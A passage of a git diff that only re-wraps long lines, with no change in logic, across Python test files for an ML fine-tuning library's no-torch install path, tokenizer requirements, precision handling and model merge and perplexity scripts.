-        result = ips._filter_requirements(EXTRAS_NO_DEPS_TXT, ips.NO_TORCH_SKIP_PACKAGES)
+        result = ips._filter_requirements(
+            EXTRAS_NO_DEPS_TXT, ips.NO_TORCH_SKIP_PACKAGES
+        )
         filtered_text = Path(result).read_text(encoding = "utf-8").lower()
         assert "trl" in filtered_text, "trl should survive NO_TORCH filtering"
 
@@ -375,7 +389,9 @@ class TestInstallPythonStackSubprocessMock:
         captured_cmds: list[list[str]] = []
 
         def mock_run(cmd, **kw):
-            captured_cmds.append(list(cmd) if isinstance(cmd, (list, tuple)) else [str(cmd)])
+            captured_cmds.append(
+                list(cmd) if isinstance(cmd, (list, tuple)) else [str(cmd)]
+            )
             return subprocess.CompletedProcess(cmd, 0, b"", b"")
 
         env = {"SKIP_STUDIO_BASE": "1"} if skip_base else {}
@@ -392,7 +408,9 @@ class TestInstallPythonStackSubprocessMock:
             mock.patch.object(ips, "_has_rocm_gpu", return_value = False),
             mock.patch("subprocess.run", side_effect = mock_run),
             mock.patch.object(ips, "_bootstrap_uv", return_value = True),
-            mock.patch.object(ips, "LOCAL_DD_UNSTRUCTURED_PLUGIN", Path("/fake/plugin")),
+            mock.patch.object(
+                ips, "LOCAL_DD_UNSTRUCTURED_PLUGIN", Path("/fake/plugin")
+            ),
             mock.patch("pathlib.Path.is_dir", return_value = True),
             mock.patch("pathlib.Path.is_file", return_value = True),
         ):
@@ -435,7 +453,9 @@ class TestInstallPythonStackSubprocessMock:
         has_extras_nd = self._cmds_contain_file(cmds, "extras-no-deps.txt") or any(
             "-r" in cmd and "tmp" in cmd.lower() for cmd in cmds
         )
-        assert has_extras_nd, "extras-no-deps.txt (or its filtered temp) should be called"
+        assert (
+            has_extras_nd
+        ), "extras-no-deps.txt (or its filtered temp) should be called"
 
     # -- IS_WINDOWS=True + NO_TORCH=True (stacked) --
 
@@ -529,13 +549,17 @@ class TestOverridesSkip:
     def test_no_torch_guard_exists_in_source(self):
         """The install_python_stack source must contain a NO_TORCH guard around overrides."""
         source = Path(ips.__file__).read_text(encoding = "utf-8")
-        assert "if NO_TORCH:" in source, "NO_TORCH guard not found in install_python_stack.py"
+        assert (
+            "if NO_TORCH:" in source
+        ), "NO_TORCH guard not found in install_python_stack.py"
 
     def test_overrides_skipped_when_no_torch(self):
         """With NO_TORCH=True on the module, pip_install should NOT be called for overrides."""
         source = Path(ips.__file__).read_text(encoding = "utf-8")
         overrides_match = re.search(r"if NO_TORCH:.*?overrides", source, re.DOTALL)
-        assert overrides_match is not None, "Expected NO_TORCH conditional before overrides install"
+        assert (
+            overrides_match is not None
+        ), "Expected NO_TORCH conditional before overrides install"
 
 
 # ── install.sh --no-torch flag tests ──────────────────────────────────
@@ -554,21 +578,33 @@ class TestInstallShNoTorchFlag:
 
     def test_no_torch_flag_in_case_statement(self):
         """--no-torch must appear in the flag parser case statement."""
-        assert "--no-torch)" in self.source, "--no-torch not found in install.sh flag parser"
+        assert (
+            "--no-torch)" in self.source
+        ), "--no-torch not found in install.sh flag parser"
 
     def test_no_torch_flag_variable_initialized(self):
         """_NO_TORCH_FLAG must be initialized to false."""
-        assert "_NO_TORCH_FLAG=false" in self.source, "_NO_TORCH_FLAG=false not found in install.sh"
+        assert (
+            "_NO_TORCH_FLAG=false" in self.source
+        ), "_NO_TORCH_FLAG=false not found in install.sh"
 
     def test_skip_torch_variable_exists(self):
         """SKIP_TORCH variable must be defined."""
-        assert "SKIP_TORCH=false" in self.source, "SKIP_TORCH=false not found in install.sh"
-        assert "SKIP_TORCH=true" in self.source, "SKIP_TORCH=true not found in install.sh"
+        assert (
+            "SKIP_TORCH=false" in self.source
+        ), "SKIP_TORCH=false not found in install.sh"
+        assert (
+            "SKIP_TORCH=true" in self.source
+        ), "SKIP_TORCH=true not found in install.sh"
 
     def test_skip_torch_driven_by_flag_and_mac_intel(self):
         """SKIP_TORCH must check both _NO_TORCH_FLAG and MAC_INTEL."""
-        assert "_NO_TORCH_FLAG" in self.source, "_NO_TORCH_FLAG not referenced in SKIP_TORCH logic"
-        assert "MAC_INTEL" in self.source, "MAC_INTEL not referenced in SKIP_TORCH logic"
+        assert (
+            "_NO_TORCH_FLAG" in self.source
+        ), "_NO_TORCH_FLAG not referenced in SKIP_TORCH logic"
+        assert (
+            "MAC_INTEL" in self.source
+        ), "MAC_INTEL not referenced in SKIP_TORCH logic"
 
     def test_unsloth_no_torch_uses_skip_torch(self):
         """UNSLOTH_NO_TORCH must reference $SKIP_TORCH, not $MAC_INTEL."""
@@ -576,12 +612,18 @@ class TestInstallShNoTorchFlag:
 
         matches = re.findall(r'UNSLOTH_NO_TORCH="\$(\w+)"', self.source)
         for var in matches:
-            assert var == "SKIP_TORCH", f"UNSLOTH_NO_TORCH references ${var} instead of $SKIP_TORCH"
+            assert (
+                var == "SKIP_TORCH"
+            ), f"UNSLOTH_NO_TORCH references ${var} instead of $SKIP_TORCH"
 
     def test_cpu_hint_message_exists(self):
         """CPU hint message must exist in install.sh."""
-        assert "No GPU detected" in self.source, "CPU hint message not found in install.sh"
-        assert "--no-torch" in self.source, "--no-torch suggestion not found in CPU hint"
+        assert (
+            "No GPU detected" in self.source
+        ), "CPU hint message not found in install.sh"
+        assert (
+            "--no-torch" in self.source
+        ), "--no-torch suggestion not found in CPU hint"
 
     def test_no_torch_flag_parsing_subprocess(self):
         """--no-torch flag sets _NO_TORCH_FLAG=true (subprocess test)."""
diff --git a/tests/python/test_remove_special_tokens_no_bos.py b/tests/python/test_remove_special_tokens_no_bos.py
index 94c5ea3027..a2f3f39445 100644
--- a/tests/python/test_remove_special_tokens_no_bos.py
+++ b/tests/python/test_remove_special_tokens_no_bos.py
@@ -37,7 +37,9 @@ def test_no_bos_tokenizer_does_not_crash():
 def test_double_bos_is_stripped():
     # A tokenizer with a BOS token still has a single leading BOS removed.
     remove_special_tokens = _load_remove_special_tokens()
-    assert remove_special_tokens(_StubTokenizer(""), "Hello world") == "Hello world"
+    assert (
+        remove_special_tokens(_StubTokenizer(""), "Hello world") == "Hello world"
+    )
 
 
 def test_prompt_without_leading_bos_unchanged():
diff --git a/tests/python/test_studio_import_no_torch.py b/tests/python/test_studio_import_no_torch.py
index f551519de9..83b870bb93 100644
--- a/tests/python/test_studio_import_no_torch.py
+++ b/tests/python/test_studio_import_no_torch.py
@@ -14,9 +14,15 @@ from pathlib import Path
 import pytest
 
 REPO_ROOT = Path(__file__).resolve().parents[2]
-DATA_COLLATORS = REPO_ROOT / "studio" / "backend" / "utils" / "datasets" / "data_collators.py"
-CHAT_TEMPLATES = REPO_ROOT / "studio" / "backend" / "utils" / "datasets" / "chat_templates.py"
-FORMAT_CONVERSION = REPO_ROOT / "studio" / "backend" / "utils" / "datasets" / "format_conversion.py"
+DATA_COLLATORS = (
+    REPO_ROOT / "studio" / "backend" / "utils" / "datasets" / "data_collators.py"
+)
+CHAT_TEMPLATES = (
+    REPO_ROOT / "studio" / "backend" / "utils" / "datasets" / "chat_templates.py"
+)
+FORMAT_CONVERSION = (
+    REPO_ROOT / "studio" / "backend" / "utils" / "datasets" / "format_conversion.py"
+)
 
 
 def _has_uv() -> bool:
@@ -53,7 +59,9 @@ def no_torch_venv(request, tmp_path_factory):
         [str(venv_python), "-c", "import torch"],
         capture_output = True,
     )
-    assert check.returncode != 0, f"torch should NOT be importable in fresh {py_version} venv"
+    assert (
+        check.returncode != 0
+    ), f"torch should NOT be importable in fresh {py_version} venv"
 
     return str(venv_python)
 
@@ -202,7 +210,9 @@ class TestDataCollatorsNoTorchVenv:
             capture_output = True,
             timeout = 30,
         )
-        assert result.returncode == 0, f"DeepSeekOCRDataCollator failed:\n{result.stderr.decode()}"
+        assert (
+            result.returncode == 0
+        ), f"DeepSeekOCRDataCollator failed:\n{result.stderr.decode()}"
         assert b"OK: DeepSeekOCRDataCollator instantiated" in result.stdout
 
     def test_dataclass_vlm_collator_instantiable(self, no_torch_venv):
@@ -223,7 +233,9 @@ class TestDataCollatorsNoTorchVenv:
             capture_output = True,
             timeout = 30,
         )
-        assert result.returncode == 0, f"VLMDataCollator failed:\n{result.stderr.decode()}"
+        assert (
+            result.returncode == 0
+        ), f"VLMDataCollator failed:\n{result.stderr.decode()}"
         assert b"OK: VLMDataCollator instantiated" in result.stdout
 
 
@@ -524,9 +536,12 @@ class TestNegativeControls:
                 capture_output = True,
                 timeout = 30,
             )
-            assert result.returncode != 0, "Expected failure when 'import torch' is prepended"
             assert (
-                b"ModuleNotFoundError" in result.stderr or b"ImportError" in result.stderr
+                result.returncode != 0
+            ), "Expected failure when 'import torch' is prepended"
+            assert (
+                b"ModuleNotFoundError" in result.stderr
+                or b"ImportError" in result.stderr
             ), f"Expected ImportError, got:\n{result.stderr.decode()}"
         finally:
             os.unlink(temp_file)
@@ -566,4 +581,6 @@ class TestNegativeControls:
             timeout = 30,
         )
         assert result.returncode != 0, "import torch should fail in no-torch venv"
-        assert b"ModuleNotFoundError" in result.stderr or b"ImportError" in result.stderr
+        assert (
+            b"ModuleNotFoundError" in result.stderr or b"ImportError" in result.stderr
+        )
diff --git a/tests/python/test_to_sharegpt_optional_none.py b/tests/python/test_to_sharegpt_optional_none.py
index 05fcb8a6a8..59e876aa84 100644
--- a/tests/python/test_to_sharegpt_optional_none.py
+++ b/tests/python/test_to_sharegpt_optional_none.py
@@ -11,7 +11,9 @@ def _load_formatter_builders():
     tree = ast.parse(source.read_text(encoding = "utf-8"))
     wanted = {"_parse_combined_prompt", "_create_formatter"}
     funcs = [
-        node for node in tree.body if isinstance(node, ast.FunctionDef) and node.name in wanted
+        node
+        for node in tree.body
+        if isinstance(node, ast.FunctionDef) and node.name in wanted
     ]
     namespace = {"re": re}
     module = ast.Module(body = funcs, type_ignores = [])
@@ -27,7 +29,9 @@ class _StubDataset:
 
 def _render(merged_prompt, columns, batch):
     parse, create = _load_formatter_builders()
-    possible_columns, final_optional_prompts = parse(merged_prompt, _StubDataset(columns))
+    possible_columns, final_optional_prompts = parse(
+        merged_prompt, _StubDataset(columns)
+    )
     processor = create(possible_columns, final_optional_prompts, "text")
     return processor(batch)["text"]
 
diff --git a/tests/python/test_tokenizers_and_torch_constraint.py b/tests/python/test_tokenizers_and_torch_constraint.py
index c58808689b..6d8ba0fa85 100644
--- a/tests/python/test_tokenizers_and_torch_constraint.py
+++ b/tests/python/test_tokenizers_and_torch_constraint.py
@@ -15,7 +15,9 @@ _REPO_ROOT = _TESTS_DIR.parent  # unsloth/
 _INSTALL_SH = _REPO_ROOT / "install.sh"
 _INSTALL_PS1 = _REPO_ROOT / "install.ps1"
 _SETUP_PS1 = _REPO_ROOT / "studio" / "setup.ps1"
-_NO_TORCH_RT = _REPO_ROOT / "studio" / "backend" / "requirements" / "no-torch-runtime.txt"
+_NO_TORCH_RT = (
+    _REPO_ROOT / "studio" / "backend" / "requirements" / "no-torch-runtime.txt"
+)
 
 
 def _read(path: pathlib.Path) -> str:
@@ -38,23 +40,30 @@ class TestStructuralTokenizers:
     def test_tokenizers_present(self):
         """tokenizers must be a standalone package line."""
         pkgs = _lines(_NO_TORCH_RT)
-        bare_names = [p.split(">")[0].split("<")[0].split("!")[0].split("=")[0] for p in pkgs]
+        bare_names = [
+            p.split(">")[0].split("<")[0].split("!")[0].split("=")[0] for p in pkgs
+        ]
         assert "tokenizers" in bare_names
 
     def test_tokenizers_before_transformers(self):
         """tokenizers should appear before transformers (install order intent)."""
         pkgs = _lines(_NO_TORCH_RT)
-        bare_names = [p.split(">")[0].split("<")[0].split("!")[0].split("=")[0] for p in pkgs]
+        bare_names = [
+            p.split(">")[0].split("<")[0].split("!")[0].split("=")[0] for p in pkgs
+        ]
         idx_tok = bare_names.index("tokenizers")
         idx_tf = bare_names.index("transformers")
         assert idx_tok < idx_tf, (
-            f"tokenizers at index {idx_tok} should appear before " f"transformers at index {idx_tf}"
+            f"tokenizers at index {idx_tok} should appear before "
+            f"transformers at index {idx_tf}"
         )
 
     def test_torch_not_in_no_torch_file(self):
         """torch itself must NOT be listed in the no-torch requirements."""
         pkgs = _lines(_NO_TORCH_RT)
-        bare_names = [p.split(">")[0].split("<")[0].split("!")[0].split("=")[0] for p in pkgs]
+        bare_names = [
+            p.split(">")[0].split("<")[0].split("!")[0].split("=")[0] for p in pkgs
+        ]
         assert "torch" not in bare_names
 
 
@@ -140,7 +149,12 @@ class TestInstallPs1UvDefaultIndex:
 
     def test_torch_installs_neutralize_all_uv_index_env_vars(self):
         # Extra-index vars outrank --default-index, so pinned installs must clear them.
-        for var in ("UV_DEFAULT_INDEX", "UV_INDEX_URL", "UV_INDEX", "UV_EXTRA_INDEX_URL"):
+        for var in (
+            "UV_DEFAULT_INDEX",
+            "UV_INDEX_URL",
+            "UV_INDEX",
+            "UV_EXTRA_INDEX_URL",
+        ):
             assert var in self._ps1
         assert 'Remove-Item "Env:$n"' in self._ps1
 
@@ -151,7 +165,12 @@ class TestSetupPs1FastInstallIndex:
     _ps1 = _read(_SETUP_PS1)
 
     def test_fast_install_clears_all_uv_index_env_vars(self):
-        for var in ("UV_DEFAULT_INDEX", "UV_INDEX_URL", "UV_INDEX", "UV_EXTRA_INDEX_URL"):
+        for var in (
+            "UV_DEFAULT_INDEX",
+            "UV_INDEX_URL",
+            "UV_INDEX",
+            "UV_EXTRA_INDEX_URL",
+        ):
             assert var in self._ps1
         # Must truly remove the vars (child sees no value), not set them empty.
         assert 'Remove-Item "Env:$n"' in self._ps1
@@ -171,7 +190,8 @@ class TestInstallShUvDefaultIndex:
     def test_torch_installs_neutralize_all_uv_index_env_vars(self):
         # --default-index installs run with all uv index env vars unset via `env -u`.
         assert (
-            "env -u UV_DEFAULT_INDEX -u UV_INDEX_URL -u UV_INDEX -u UV_EXTRA_INDEX_URL" in self._sh
+            "env -u UV_DEFAULT_INDEX -u UV_INDEX_URL -u UV_INDEX -u UV_EXTRA_INDEX_URL"
+            in self._sh
         )
 
 
@@ -506,7 +526,9 @@ class TestE2ETokenizersFix:
         r = self._pip_install(venv, "--no-deps", "-r", str(_NO_TORCH_RT))
         assert r.returncode == 0, f"Install failed: {r.stderr}"
 
-        result = self._run_python(venv, "from transformers import AutoConfig; print('OK')")
+        result = self._run_python(
+            venv, "from transformers import AutoConfig; print('OK')"
+        )
         assert (
             result.returncode == 0
         ), f"AutoConfig import failed:\nstdout: {result.stdout}\nstderr: {result.stderr}"
@@ -535,15 +557,22 @@ class TestE2ETokenizersFix:
         req_no_tokenizers = tmp_path / "no-tokenizers.txt"
         req_no_tokenizers.write_text(
             "\n".join(
-                line for line in _read(_NO_TORCH_RT).splitlines() if line.strip() != "tokenizers"
+                line
+                for line in _read(_NO_TORCH_RT).splitlines()
+                if line.strip() != "tokenizers"
             ),
             encoding = "utf-8",
         )
         r = self._pip_install(venv, "--no-deps", "-r", str(req_no_tokenizers))
         assert r.returncode == 0, f"Install failed: {r.stderr}"
         result = self._run_python(venv, "from transformers import AutoConfig")
-        assert result.returncode != 0, "AutoConfig should fail without tokenizers installed"
-        assert "tokenizers" in result.stderr.lower() or "ModuleNotFoundError" in result.stderr
+        assert (
+            result.returncode != 0
+        ), "AutoConfig should fail without tokenizers installed"
+        assert (
+            "tokenizers" in result.stderr.lower()
+            or "ModuleNotFoundError" in result.stderr
+        )
 
 
 # Group 4 -- Integration: install.sh reads no-torch-runtime.txt correctly
@@ -614,7 +643,9 @@ class TestE2EFullNoTorchSandbox:
         venv = self._create_venv(tmp_path, "full-no-torch")
         r = self._pip_install(venv, "--no-deps", "-r", str(_NO_TORCH_RT))
         assert r.returncode == 0, f"Install failed: {r.stderr}"
-        result = self._run_python(venv, "from transformers import AutoConfig; print('OK')")
+        result = self._run_python(
+            venv, "from transformers import AutoConfig; print('OK')"
+        )
         assert (
             result.returncode == 0
         ), f"AutoConfig failed:\nstdout: {result.stdout}\nstderr: {result.stderr}"
diff --git a/tests/python/test_unsloth_run_tool_policy_resolver.py b/tests/python/test_unsloth_run_tool_policy_resolver.py
index 2f13a17b69..767d1ff5b2 100644
--- a/tests/python/test_unsloth_run_tool_policy_resolver.py
+++ b/tests/python/test_unsloth_run_tool_policy_resolver.py
@@ -104,7 +104,9 @@ class TestZeroHost:
 
 
 class TestIsExternalHost:
-    @pytest.mark.parametrize("host", ["127.0.0.1", "localhost", "::1", "LOCALHOST", "Localhost"])
+    @pytest.mark.parametrize(
+        "host", ["127.0.0.1", "localhost", "::1", "LOCALHOST", "Localhost"]
+    )
     def test_loopback_aliases_are_local(self, host):
         assert is_external_host(host) is False
 
diff --git a/tests/python/test_v100_fullft_precision.py b/tests/python/test_v100_fullft_precision.py
index c8ca769d45..2e54c0d5c6 100644
--- a/tests/python/test_v100_fullft_precision.py
+++ b/tests/python/test_v100_fullft_precision.py
@@ -53,7 +53,16 @@ def _restore(mapping, saved):
             mapping[k] = v
 
 
-def _decide(dtype, *, bf16_supported, force_float32, full_finetuning, mixed_precision, fp16, bf16):
+def _decide(
+    dtype,
+    *,
+    bf16_supported,
+    force_float32,
+    full_finetuning,
+    mixed_precision,
+    fp16,
+    bf16,
+):
     """Run the template block; return (args.fp16, args.bf16, ACCELERATE_MP, raised).
 
     Stubs (sys.modules, env vars, torch.cuda.is_bf16_supported) are restored on
@@ -95,7 +104,12 @@ def _decide(dtype, *, bf16_supported, force_float32, full_finetuning, mixed_prec
             exec(CODE, {"torch": torch, "os": os}, {"args": args, "model": model})
         except TypeError:
             raised = "TypeError"
-        return args.fp16, args.bf16, os.environ.get("ACCELERATE_MIXED_PRECISION"), raised
+        return (
+            args.fp16,
+            args.bf16,
+            os.environ.get("ACCELERATE_MIXED_PRECISION"),
+            raised,
+        )
     finally:
         torch.cuda.is_bf16_supported = orig_bf16
         _restore(os.environ, saved_env)
diff --git a/tests/python/test_vision_lora_targeting.py b/tests/python/test_vision_lora_targeting.py
index 0a27569efd..5f9233827b 100644
--- a/tests/python/test_vision_lora_targeting.py
+++ b/tests/python/test_vision_lora_targeting.py
@@ -17,11 +17,15 @@ def test_vlm_lora_regex_respects_language_only_with_explicit_targets():
             self.vision_tower = torch.nn.Module()
             self.vision_tower.vision_model = torch.nn.Module()
             self.vision_tower.vision_model.encoder = torch.nn.Module()
-            self.vision_tower.vision_model.encoder.layers = torch.nn.ModuleList([torch.nn.Module()])
-            self.vision_tower.vision_model.encoder.layers[0].self_attn = torch.nn.Module()
-            self.vision_tower.vision_model.encoder.layers[0].self_attn.q_proj = torch.nn.Linear(
-                4, 4
+            self.vision_tower.vision_model.encoder.layers = torch.nn.ModuleList(
+                [torch.nn.Module()]
             )
+            self.vision_tower.vision_model.encoder.layers[
+                0
+            ].self_attn = torch.nn.Module()
+            self.vision_tower.vision_model.encoder.layers[
+                0
+            ].self_attn.q_proj = torch.nn.Linear(4, 4)
 
     regex = get_peft_regex(
         FakeVLM(),
@@ -33,7 +37,9 @@ def test_vlm_lora_regex_respects_language_only_with_explicit_targets():
     )
 
     assert re.search(regex, "language_model.layers.0.self_attn.q_proj")
-    assert not re.search(regex, "vision_tower.vision_model.encoder.layers.0.self_attn.q_proj")
+    assert not re.search(
+        regex, "vision_tower.vision_model.encoder.layers.0.self_attn.q_proj"
+    )
 
 
 def test_fast_vision_model_wraps_explicit_targets_when_layer_filters_are_used():
diff --git a/tests/qlora/test_hf_qlora_train_and_merge.py b/tests/qlora/test_hf_qlora_train_and_merge.py
index 0892627c46..ae975b0266 100644
--- a/tests/qlora/test_hf_qlora_train_and_merge.py
+++ b/tests/qlora/test_hf_qlora_train_and_merge.py
@@ -91,7 +91,9 @@ if __name__ == "__main__":
         print(training_args)
         print(peft_config)
 
-    trainer = setup_trainer(model, tokenizer, dataset, training_args, peft_config = peft_config)
+    trainer = setup_trainer(
+        model, tokenizer, dataset, training_args, peft_config = peft_config
+    )
 
     with header_footer_context("Model"):
         print(type(model.model))
diff --git a/tests/saving/gpt-oss-merge/test_merged_model.py b/tests/saving/gpt-oss-merge/test_merged_model.py
index 024d48f276..d965f44966 100644
--- a/tests/saving/gpt-oss-merge/test_merged_model.py
+++ b/tests/saving/gpt-oss-merge/test_merged_model.py
@@ -42,7 +42,9 @@ inputs = merged_tokenizer.apply_chat_template(
     reasoning_effort = "low",  # low, medium or high
 ).to(merged_model.device)
 
-_ = merged_model.generate(**inputs, max_new_tokens = 512, streamer = TextStreamer(merged_tokenizer))
+_ = merged_model.generate(
+    **inputs, max_new_tokens = 512, streamer = TextStreamer(merged_tokenizer)
+)
 print("\n✅ Inference complete.")
 
 # --- Final Cleanup ---
@@ -52,5 +54,7 @@ torch.cuda.empty_cache()
 gc.collect()
 
 safe_remove_directory("./gpt-oss-finetuned-merged")
-safe_remove_directory("./unsloth_compiled_cache")  # Clean up cache created by this process
+safe_remove_directory(
+    "./unsloth_compiled_cache"
+)  # Clean up cache created by this process
 print("✅ Final cleanup complete. Exiting inference script.")
diff --git a/tests/saving/gpt-oss-merge/train_and_merge.py b/tests/saving/gpt-oss-merge/train_and_merge.py
index aca5b1a19b..ab08ff4282 100644
--- a/tests/saving/gpt-oss-merge/train_and_merge.py
+++ b/tests/saving/gpt-oss-merge/train_and_merge.py
@@ -27,7 +27,9 @@ tokenizer = None
 def formatting_prompts_func(examples):
     convos = examples["messages"]
     texts = [
-        tokenizer.apply_chat_template(convo, tokenize = False, add_generation_prompt = False)
+        tokenizer.apply_chat_template(
+            convo, tokenize = False, add_generation_prompt = False
+        )
         for convo in convos
     ]
     return {"text": texts}
@@ -81,7 +83,9 @@ print("Fine-tuning complete.")
 
 # --- Merge and Save ---
 print("\n💾 Merging and saving the 16-bit model to './gpt-oss-finetuned-merged'...")
-model.save_pretrained_merged(save_directory = "./gpt-oss-finetuned-merged", tokenizer = tokenizer)
+model.save_pretrained_merged(
+    save_directory = "./gpt-oss-finetuned-merged", tokenizer = tokenizer
+)
 print("✅ Model merged and saved.")
 
 # --- Cleanup ---
diff --git a/tests/saving/language_models/test_merge_4bit_validation.py b/tests/saving/language_models/test_merge_4bit_validation.py
index 8c1baeecf4..e33b4c5528 100644
--- a/tests/saving/language_models/test_merge_4bit_validation.py
+++ b/tests/saving/language_models/test_merge_4bit_validation.py
@@ -16,7 +16,9 @@ from tests.utils.cleanup_utils import safe_remove_directory
 def formatting_prompts_func(examples):
     convos = examples["messages"]
     texts = [
-        tokenizer.apply_chat_template(convo, tokenize = False, add_generation_prompt = False)
+        tokenizer.apply_chat_template(
+            convo, tokenize = False, add_generation_prompt = False
+        )
         for convo in convos
     ]
     return {"text": texts}
@@ -48,7 +50,9 @@ tokenizer = get_chat_template(
     chat_template = "llama-3.1",
 )
 
-dataset_train = load_dataset("allenai/openassistant-guanaco-reformatted", split = "train[:100]")
+dataset_train = load_dataset(
+    "allenai/openassistant-guanaco-reformatted", split = "train[:100]"
+)
 dataset_train = dataset_train.map(formatting_prompts_func, batched = True)
 
 print("✅ Base model loaded successfully!")
diff --git a/tests/saving/language_models/test_merge_model_perplexity_llama-3.2.py b/tests/saving/language_models/test_merge_model_perplexity_llama-3.2.py
index 3b75a13756..1f98da8e7a 100644
--- a/tests/saving/language_models/test_merge_model_perplexity_llama-3.2.py
+++ b/tests/saving/language_models/test_merge_model_perplexity_llama-3.2.py
@@ -34,7 +34,9 @@ from tests.utils.perplexity_eval import (
 def formatting_prompts_func(examples):
     convos = examples["messages"]
     texts = [
-        tokenizer.apply_chat_template(convo, tokenize = False, add_generation_prompt = False)
+        tokenizer.apply_chat_template(
+            convo, tokenize = False, add_generation_prompt = False
+        )
         for convo in convos
     ]
     return {"text": texts}
@@ -62,12 +64,16 @@ def load_and_compute_8bit_ppl(
     )
 
     # Load dataset fresh in subprocess
-    dataset_ppl = load_dataset("allenai/openassistant-guanaco-reformatted", split = "eval")
+    dataset_ppl = load_dataset(
+        "allenai/openassistant-guanaco-reformatted", split = "eval"
+    )
 
     def formatting_prompts_func(examples):
         convos = examples["messages"]
         texts = [
-            merged_tokenizer.apply_chat_template(convo, tokenize = False, add_generation_prompt = False)
+            merged_tokenizer.apply_chat_template(
+                convo, tokenize = False, add_generation_prompt = False
+            )
             for convo in convos
         ]
         return {"text": texts}
@@ -120,8 +126,12 @@ if __name__ == "__main__":
 
     from unsloth.chat_templates import standardize_sharegpt
 
-    dataset_train = load_dataset("allenai/openassistant-guanaco-reformatted", split = "train")
-    dataset_ppl = load_dataset("allenai/openassistant-guanaco-reformatted", split = "eval")
+    dataset_train = load_dataset(
+        "allenai/openassistant-guanaco-reformatted", split = "train"
+    )
+    dataset_ppl = load_dataset(
+        "allenai/openassistant-guanaco-reformatted", split = "eval"
+    )
 
     dataset_train = dataset_train.map(formatting_prompts_func, batched = True)
     dataset_ppl = dataset_ppl.map(formatting_prompts_func, batched = True)
diff --git a/tests/saving/language_models/test_merge_model_perplexity_mistral.py b/tests/saving/language_models/test_merge_model_perplexity_mistral.py
index 8cc833c2b1..41cefbe1e1 100644
--- a/tests/saving/language_models/test_merge_model_perplexity_mistral.py
+++ b/tests/saving/language_models/test_merge_model_perplexity_mistral.py
@@ -51,7 +51,9 @@ def load_and_compute_8bit_ppl(
     # )
 
     # Load dataset fresh in subprocess.
-    dataset_ppl = load_dataset("allenai/openassistant-guanaco-reformatted", split = "eval")
+    dataset_ppl = load_dataset(
+        "allenai/openassistant-guanaco-reformatted", split = "eval"
+    )
 
     alpaca_prompt = """Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request.
 
@@ -87,7 +89,10 @@ def load_and_compute_8bit_ppl(
             inputs.append(user_message)
             outputs.append(assistant_message)
 
-            text = alpaca_prompt.format(instruction, user_message, assistant_message) + EOS_TOKEN
+            text = (
+                alpaca_prompt.format(instruction, user_message, assistant_message)
+                + EOS_TOKEN
+            )
             texts.append(text)
 
         return {
@@ -172,7 +177,10 @@ if __name__ == "__main__":
             inputs.append(user_message)
             outputs.append(assistant_message)
 
-            text = alpaca_prompt.format(instruction, user_message, assistant_message) + EOS_TOKEN
+            text = (
+                alpaca_prompt.format(instruction, user_message, assistant_message)
+                + EOS_TOKEN
+            )
             texts.append(text)
 
         return {
@@ -182,8 +190,12 @@ if __name__ == "__main__":
             "text": texts,
         }
 
-    dataset_train = load_dataset("allenai/openassistant-guanaco-reformatted", split = "train")
-    dataset_ppl = load_dataset("allenai/openassistant-guanaco-reformatted", split = "eval")
+    dataset_train = load_dataset(
+        "allenai/openassistant-guanaco-reformatted", split = "train"
+    )
+    dataset_ppl = load_dataset(
+        "allenai/openassistant-guanaco-reformatted", split = "eval"
+    )
 
     dataset_train = dataset_train.map(formatting_prompts_func, batched = True)
     dataset_ppl = dataset_ppl.map(formatting_prompts_func, batched = True)
diff --git a/tests/saving/language_models/test_merge_model_perplexity_phi_4.py b/tests/saving/language_models/test_merge_model_perplexity_phi_4.py
index 6f79bfdb71..572a538c17 100644
--- a/tests/saving/language_models/test_merge_model_perplexity_phi_4.py
+++ b/tests/saving/language_models/test_merge_model_perplexity_phi_4.py
@@ -34,7 +34,9 @@ from tests.utils.perplexity_eval import (
 def formatting_prompts_func(examples):
     convos = examples["messages"]
     texts = [
-        tokenizer.apply_chat_template(convo, tokenize = False, add_generation_prompt = False)
+        tokenizer.apply_chat_template(
+            convo, tokenize = False, add_generation_prompt = False
+        )
         for convo in convos
     ]
     return {
@@ -64,12 +66,16 @@ def load_and_compute_8bit_ppl(
     )
 
     # Load dataset fresh in subprocess.
-    dataset_ppl = load_dataset("allenai/openassistant-guanaco-reformatted", split = "eval")
+    dataset_ppl = load_dataset(
+        "allenai/openassistant-guanaco-reformatted", split = "eval"
+    )
 
     def formatting_prompts_func(examples):
         convos = examples["messages"]
         texts = [
-            merged_tokenizer.apply_chat_template(convo, tokenize = False, add_generation_prompt = False)
+            merged_tokenizer.apply_chat_template(
+                convo, tokenize = False, add_generation_prompt = False
+            )
             for convo in convos
         ]
         return {"text": texts}
@@ -120,8 +126,12 @@ if __name__ == "__main__":
         chat_template = "phi-4",
     )
 
-    dataset_train = load_dataset("allenai/openassistant-guanaco-reformatted", split = "train")
-    dataset_ppl = load_dataset("allenai/openassistant-guanaco-reformatted", split = "eval")
+    dataset_train = load_dataset(
+        "allenai/openassistant-guanaco-reformatted", split = "train"
+    )
+    dataset_ppl = load_dataset(
+        "allenai/openassistant-guanaco-reformatted", split = "eval"
+    )
 
     dataset_train = dataset_train.map(formatting_prompts_func, batched = True)
     dataset_ppl = dataset_ppl.map(formatting_prompts_func, batched = True)
diff --git a/tests/saving/language_models/test_merged_model_perplexity_llama-3.1-8b.py b/tests/saving/language_models/test_merged_model_perplexity_llama-3.1-8b.py
index c07b37024f..0f2d4b4398 100644
--- a/tests/saving/language_models/test_merged_model_perplexity_llama-3.1-8b.py
+++ b/tests/saving/language_models/test_merged_model_perplexity_llama-3.1-8b.py
@@ -33,7 +33,9 @@ from tests.utils.perplexity_eval import (
 def formatting_prompts_func(examples):
     convos = examples["messages"]
     texts = [
-        tokenizer.apply_chat_template(convo, tokenize = False, add_generation_prompt = False)
+        tokenizer.apply_chat_template(
+            convo, tokenize = False, add_generation_prompt = False
+        )
         for convo in convos
     ]
     return {"text": texts}
@@ -61,12 +63,16 @@ def load_and_compute_8bit_ppl(
     )
 
     # Load dataset fresh in subprocess
-    dataset_ppl = load_dataset("allenai/openassistant-guanaco-reformatted", split = "eval")
+    dataset_ppl = load_dataset(
+        "allenai/openassistant-guanaco-reformatted", split = "eval"
+    )
 
     def formatting_prompts_func(examples):
         convos = examples["messages"]
         texts = [
-            merged_tokenizer.apply_chat_template(convo, tokenize = False, add_generation_prompt = False)
+            merged_tokenizer.apply_chat_template(
+                convo, tokenize = False, add_generation_prompt = False
+            )
             for convo in convos
         ]
         return {"text": texts}
@@ -119,8 +125,12 @@ if __name__ == "__main__":
 
